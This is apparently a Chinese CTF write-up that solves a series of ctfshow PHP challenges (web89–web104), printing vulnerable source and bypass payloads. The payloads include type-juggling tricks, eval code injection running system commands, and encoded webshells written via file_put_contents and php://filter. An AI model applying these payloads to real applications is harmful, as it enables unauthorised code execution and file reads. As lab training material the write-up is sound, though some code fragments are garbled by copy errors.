web89 intval函数 数组绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
第一个if 传入 num
第二个if判断是不是数字 如果是就 die 结束
第三个if intval函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
php里int是指Integer整型
intval()函数
语法:
intval(mixed $value ,int $base =10):int
value为要转换成 integer 的数量值
preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
所以使用数组绕过
?num[]=1
web90 intval函数 和 ===的绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
ctfshow{f7cf0df9-ee1c-4151-911c-8fee7a3de090}
第二个if num === 4476 就die
第三个if 这里经过intval 又必须等于 4476
否则 输出 intval 当时的整数值
使用前面的数组绕过不行了 ,他可以绕过第一个 但不能绕过第二个 所以直接输出 intval等于1 了
这里可以使用十六进制绕过 和 弱比较
4476 10 进制转为 16进制 0x117c 这里要带0x 表示16进制
4476 转为 8进制 10574
但是这里直接输入是不行的 ,要在前面加一个0 表示 八进制 和 在前加一个0x 表示16差不多
payload
?num=010574
num 我输入数字字符串 他就不会比较绕过第一个if
payload
?num=4476a 这个是字符串 ,但是只要进行比较会优先考虑前面开头是什么类型如果是数字开头就是数字 ,否则字符串
还有一个在前面加入 +
不知道为什么加其他的不行 加入 +号是可以的
?num=+4476
减号这些都不行
web91 preg_match('/^php$/im )绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
ctfshow{440ef896-2783-49cc-bf93-b38b2a652b99}
第一个if 输入的 cmd的值要包含 php 这里的 im 表示单行检测和多行检测
第二if 表示 如果php 到 php就执行 echo hacker ,所以在这个函数 这里是不能被检测到php的
preg_match 都知道存在一个 %0a 换行绕过
?cmd=a%0aphp
意思是他第一个if执行
原本是这样的
a 经过0a换行
php 他也是能检测到的 这样绕过第一个if
第二个if 只检测单行
a%0a 换行之后就只剩下 a了所以他检测不到php就绕过了
执行 echo flag了
web92 题 == 绕过 与科学计数法
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
} 4776
这里和90题差不多的
但是 把 === 强等于4476 变成 ==符号
依旧可以使用进制转换
?num=0x117c
科学计数法绕过
?num=4476e1
e123表0
e 表示科学计数法
web93 8进制绕过 和 四舍五入绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
} 0
这里使用过滤掉了因为 排查 16进制和 科学计数法
使用8进制
payload
?num=010574
然后就是四舍五入
?num=4476.1
我是理解为四舍五入
毕竟因为intval 要的是整数
1不满足,所以舍却 就是 4476了
web94题 小数点绕过 %0a绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
} ctfshow{d9c6fc3d-c77e-4d6c-9cb2-4ee838d27cd8}
第一个if 不能强等于 4476
第二个if 不能带有 英文
第三if 只能匹配一个0 ,strpos函数匹配第一个出现的位置
第四个if 整数强等于 4476
----------------------------------
所以16进制不行 ,八进制不行 ,科学计数法不行 ,加字符不行
使用小数点这里
?num=4476.0
这里既匹配到了 0 也匹配到了4476 也没有英文。 取整数后就是 4476
也可以使用%0a绕过
?num=4476%0a0
既不是强等于4476 也可以绕过preg_match函数 ,也存在0 强转也是 4476
web95 +号绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
} ctfshow{434c3402-84d2-4e3e-bc6a-7a92d7a00bdb}
这里过滤掉了小数点 ,然后不能使用小数绕过了
也不能使用十六进制 ,这里看wp是可以是八进制的
payload
010574
前提这里要加入一个+ 号
payload: num=+010574
根据ai的解释说 + 在php中代码 空格 所以可以绕过
第一个 不是4476
web96 题 伪协议绕过 和 ./
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
不能等于 flag.php
我输入了%0a 和 %20 +
他绕过了== 去打开flag.php空格这个文件了 提示没有这个文件
我这里使用了伪协议绕过
u=php://filter/conver.base64-encode/resource=flag.php
还有一种方法是 ./ linux中 表 当前目录下的文件
u=./flag.php
web97 MD5=== 数组绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a 和 b 不相等 ,然后a 和b 的md5值又相等
这里使用数组绕过
a[]=1&b[]=2
web98 三元运算符和传址(引用) 传址(引用)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
官方wp
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99 in_array函数的特性
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
一开始没看到 ,但是看见了file_put_contents 就知道要写shell一般
array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET[‘n’], $_POST[‘content’]);
n 输入文件名 content输入 shell
查看flag
web100 命令执行 闭合
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
自己的意思来立即一下 ,传入v1 v2 v3
然后 is_numeric 判断是否是数字或者字符串 然后传给 v0
判断v0 v2中是否包含; v3 要有;
然后可以使用eval执行命令
没有过滤任何命令
这里包含了ctfshow.php 文件说明了 flag 在 ctfshow方法里面
直接读取 ctfshow.php
?v1=1&v2=readgzfile("ctfshow.php")/*&v3=*/; 这里进行闭合 就造成文件读取了
F12
也可以使用var_dump
v2=var_dump($ctfshow)/*&v3=*/; 没过滤啥命令 可以执行的很多
/?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=; 直接使用?>闭合php也可以 执行命令
web101 ReflectionClass反射类
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_8a728c6b0x2d0a040x2d47cd0x2d94820x2de5cafe19659 ] } - Methods [0] { } }
可以看见过滤了很多符合 " ; * ) _这些都不能使用了
php中有一个反射类 ,可以把方法里面的值 反射出来 ReflectionClass
元数据对象(包含class的所有属性/方法的元数据信息)。
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
payload:v1=1&v2=echo new ReflectionClass&v3=;
flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
反射类:https://blog.csdn.net/qq_45089570/article/details/109586035
v1=1&v2=echo new ReflectionClass&v3=;
web102 hex2bin 和 bin2hex 写shell
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
PD89YGNhdCAqYDs
简单意思
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
v3 是写的文件名
v1 可以调用方法 ,v2 截取字符串 写入的内容 ,
但是这里 v2 要做 bin2hex 编码
v3 写入的文件名要是php伪协议进行写 号解码那个 base64
payload:
POST /?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin //调用hex2bin 转换 v2
访问1.php 然后F12
参考:
https://ctf.show/writeups/1594388
https://ctf.show/writeups/1028204
https://blog.csdn.net/weixin_74336671/article/details/134606011
web103
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
PD89YGNhdCAqYDs
已经可以上面的那题payload
v2 会匹配php 但是上个payload 没用php,如果过滤php 也可以使用<?= system("cat /flag"); ?>
web104 数组绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
POST /?v2[]=2
v1[]=1
官方wp:
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
随便填两个都能行。/???